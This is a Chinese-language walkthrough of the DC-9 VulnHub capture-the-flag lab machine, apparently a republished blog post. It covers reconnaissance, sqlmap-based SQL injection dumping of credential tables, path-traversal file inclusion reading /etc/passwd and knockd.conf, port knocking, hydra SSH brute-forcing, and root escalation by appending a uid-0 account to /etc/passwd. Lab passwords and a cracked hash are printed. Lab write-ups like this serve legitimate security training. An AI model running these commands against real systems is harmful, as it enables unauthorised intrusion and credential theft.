当前位置: 首页 > article >正文

DC-9靶场渗透

靶机:DC-9 DC: 9 ~ VulnHub

攻击机:kail linux 2024

1,将两台虚拟机网络连接都改为NAT模式,并查看DC-9的MAC地址

2,进行主机扫描,通过MAC地址发现靶机的IP地址

攻击机IP地址192.168.23.169,靶机IP地址192.168.23.129

3,对靶机做更加精细的扫描

nmap  -sV -p- 192.168.23.129

端口号

服务

版本

22

ssh

7.4p1

80

http

Apche 2.4.38

4,访问靶机提供的web网页

5,对网站进行指纹识别

貌似没有明显的漏洞利用点

6,进行目录扫描,以便对网站网页的后台进行分析

出来的目录基本都是在web界面当中所点击选项进行跳转所触发的目录

7,向服务器传输请求爬虫协议的数据,回显为404,失败

curl http://192.168.23.129/robots.txt

8,使用web漏洞扫描工具nikto

nitko -h http://192.168.23.129

页面有链接:用户登录页面,没有发现

9,使用目录和文件枚举的开源工具gobuster(用于在web应用程序或网站上查找隐藏的目录和文件)

 gobuster dir -u http://192.168.23.129 -w /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt -x .php,.html,.sh,.txt

访问welcome.php直接返回:logged in as admin?奇怪,但是即使是admin,也没啥功能,并且在点击manage按钮时页面显示:File does not exist

10,manage.php是否有本地文件包含漏洞,使用wufzz工具(

Wfuzz是一款为了评估WEB应用而生的Fuzz(Fuzz是爆破的一种手段)工具,它基于一个简单的理念,即用给定的Payload去fuzz。它允许在HTTP请求里注入任何输入的值,针对不同的WEB应用组件进行多种复杂的爆破攻击)

wfuzz -c -u http://192.168.23.129/manage.php?FUZZ=../../../../../etc/passwd -w /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt --hw 87

没有什么发现

11,经sqlmap简单测试,search.php页面有SQL注入漏洞

sqlmap -u "http://192.168.23.129/results.php" --data="search=1"

存在着SQL注入漏洞

sqlmap -u http://192.168.23.129/results.php --data='search=mary' --level=5

12,对网站数据库爆出库名

sqlmap -u http://192.168.23.129/results.php --data='search=mary' --level=5 --dbs

得到三个数据库名,使用user数据库

13,对网站爆出表名

sqlmap -u http://192.168.23.129/results.php --data='search=mary' --level=5 -D user --tables

得到一张表,UserDetails

14,对网站爆出字段

sqlmap -u http://192.168.23.129/results.php --data='search=mary' --level=5 -D users -T UserDetails --columns

得到6个

15,尝试爆出用户账户,密码

sqlmap -u http://192.168.23.129/results.php --data='search=mary' --level=5 -D users -T UserDetails -C username,password --dump

得到如下账户密码,账户保存到user-dict,密码保存在pass-dict

16,由第3步发现开启了ssh服务,尝试连接

ssh marym@192.168.23.129

user库里面账户密码不能登录ssh

17,尝试爆出另一个数据库的表名

sqlmap -u http://192.168.23.129/results.php --data='search=mary' --level=5 -D Staff --tables

爆出两个表名,使用Users

18,尝试爆出User表下的字段

sqlmap -u http://192.168.23.129/results.php --data='search=mary' --level=5 -D Staff -T Users --columns

得到三个字段

19,爆出账户密码

sqlmap -u http://192.168.23.129/results.php --data='search=mary' --level=5 -D Staff -T Users -C Username,Password --dump

得到账户和密码( 经过MD5加密)

admin | 856f5de590ef37314e7c3bdf6f8a66dc (transorbital1) 

20,用在线网站md5解密得到admin密码:transorbital1,尝试登录一下

发现提示:File does not exist 显示文件不存在,猜测可能是文件包含漏洞

21,wfuzz测试etc/passwd,需要网站的cookie。 用--hw 100过滤一下

(Wfuzz是一款为了评估WEB应用而生的Fuzz(Fuzz是爆破的一种手段)工具,它基于一个简单的理念,即用给定的Payload去fuzz。它允许在HTTP请求里注入任何输入的值,针对不同的WEB应用组件进行多种复杂的爆破攻击)

wfuzz -b 'PHPSESSID=rjo08bi63fp8js96948u40sas8' -w /usr/share/wfuzz/wordlist/general/common.txt --hw 100 http://192.168.23.129/manage.php?FUZZ=../../../../etc/passwd

 22,确实是文件包含漏洞

http://192.168.23.129/manage.php?file=../../../../etc/passwd

23,接下来使用hydra爆破ssh

hydra -L user-dict -P pass-dict 192.168.23.129 ssh

没有爆破成功,发现22端口是filtered,应该是防火墙。

nmap -T4 -A -v 192.168.23.129

 

利用knockd打开ssh:

1,knockd.conf是一种端口试探服务器工具。它侦听以太网或其他可用接口上的所有流量,等待特殊序列的端口命中(port-hit)。telnet或Putty等客户软件通过向服务器上的端口发送TCP或数据包来启动端口命中,也可以直接用nc敲击端口。

2,端口试探(port knocking)是一种通过连接尝试,从外部打开原先关闭端口的方法。一旦收到正确顺序的连接尝试,防火墙就会动态打开一些特定的端口给允许尝试连接的主机。

knockd 服务的默认配置路径:/etc/knockd.conf

24,访问http://192.168.23.129/manage.php?file=../../../..//etc/knockd.conf

 使用文件包含漏洞遍历一下获取到了 敲门的密码可以这样理解 sequence = 7469,8475,9842

依次用nmap测试这三个端口:

nmap -p 7469 192.168.23.129

nmap -p 8475 192.168.23.129

nmap -p 9842 192.168.23.129

然后再nmap测试22端口, nmap -p 22 192.168.23.129

发现端口的状态变更了

25,再次测试 hydra -L user-dict -P pass-dict 192.168.23.129 ssh

爆破得到三对有效的账户密码

26,尝试登录三个账户,其中登录janitor|Ilovepeepee用户时,

发现其账户下有一个密码本,复制到pass-dict1

27,用新生成的密码本再尝试爆破

 hydra -L user-dict -P pass-dict1 192.168.23.129 ssh

得到两个账户密码

28,ssh登录fredf|B4-Tru3-001看一下有什么  ssh fredf@192.168.23.129

29, sudo -l查看一下有没有文件可以使用非root用户执行:

30,由此发现fredf用户中的一个文件可以读取任意内容,追加到任意文件提权。 

进入目录/opt/devstuff/dist/test/查看test文件,是由python编译的

提权的基本方法

history sudo -l ls -a find/ ...

sudo(sudo是linux系统管理指令,是允许系统管理员让普通用户执行一些或者全部的root命令的一个工具,如halt,reboot,su等等。换句话说通过此命令可以让非root的用户运行只有root才有权限执行的命令)

1,内核漏洞 2,SUID 3,定时任务

31,cat查看用户信息 cat/etc/passwd,

root用户的id为0

32,利用方法:

使用Openssl构造加密密码,构造新用户admin

openssl passwd -1 -salt admin 123456

将新用户的信息保存到临时文件/tmp/admin中

echo 'admin:$1$admin$LClYcRe.ee8dQwgrFc5nz.:0:0::/root:/bin/bash' >> /tmp/passwd

查看用户信息

cat /tmp/passwd

 

33,在ssh的fredf上操作,使用test程序将构造的用户和密码追加到/etc/passwd中

echo 'admin:$1$admin$LClYcRe.ee8dQwgrFc5nz.:0:0::/root:/bin/bash' >> /tmp/passwd

sudo ./test /tmp/passwd /etc/passwd

cat /etc/passwd

用户信息已经添加上去了

34,su命令登录到admin:123456,并且是root用户

35,得到flag

渗透思路:

扫描发现靶机——分析靶机端口提供的服务——dirsearch目录爆破——通过测试找到sql注入点——使用sqlmap依次爆数据库,表,字段,数据——得到ssh登录密码/得到网站的登录密码——验证网站存在的文件包含漏洞——hydra爆破失败——发现并利用端口knock——成功登录ssh——发现sshz账户中新密码本——登录另一个账户发现可以提权——使用Openssl构造加密密码,构造新用户admin——切换新建用户,获得root权限——获得flag, 渗透完成

 

新知识点:

①:了解了knockd 服务 默认路径:/etc/knockd.conf

②:学习了hydra 工具的使用 很方便 (工具很强!)

③:了解了Web 文件包含漏洞遍历信息的基础

④:就是/etc/passwd 的格式 这个不了解的话最好一步提权很容易错的

格式:用户名:密码:UID(用户ID):GID(组ID):描述性信息:主目录:默认Shell("x" 表示此用户设有密码,但不是真正的密码,真正的密码保存在 /etc/shadow 文件中,允许登入的shell就是/bin/bash禁止shell登入就是/sbin/nologin)


http://www.kler.cn/a/369010.html

相关文章:

  • 【Orange Pi 5 Linux 5.x 内核编程】-字符设备文件与操作(IOCTL)
  • 高效网络自动化:Python在网络基础中的应用
  • 深入探索:深度学习在时间序列预测中的强大应用与实现
  • ML 系列:机器学习和深度学习的深层次总结(17)从样本空间到概率规则概率
  • 【golang】 lo.Map使用
  • pandas快速入门
  • 等保测评与风险管理:识别、评估和缓解潜在的安全威胁
  • GSM850分几个Channel,为什么这样分?
  • Spring源码解析(35)之Spring全体系源码流程图
  • Kaggle竞赛——灾难推文分类(Disaster Tweets)
  • 信息安全入门——网络安全威胁
  • MySQLDBA修炼之道-开发篇(二)
  • 线性可分支持向量机的原理推导 9-29对偶可行性条件 公式解析
  • 8.Linux按键驱动-中断下半部
  • MySQL 指定字段排序二
  • 华为原生鸿蒙操作系统:我国移动操作系统的新篇章
  • XCode16.0 Command PhaseScriptExecution failed with a nonzero exit code 的错误
  • 学生宿舍管理信息化:Spring Boot系统研究
  • 【go】仅设想,能不能通过pure go编写页面。
  • springboot095学生宿舍信息的系统--论文pf(论文+源码)_kaic
  • 训练集alpaca、sharegpt格式
  • 【STM32】STM32系统时钟RCC
  • 小知识(9) MySQL慢查询sql分析与优化之explain解析
  • 在Postgresql中对空间数据进行表分区的实践
  • 《证据规定》之关于鉴定人出庭的操作性规定
  • 搜维尔科技:将外骨骼触觉力反馈手套Cyber​​Glove与机械手集成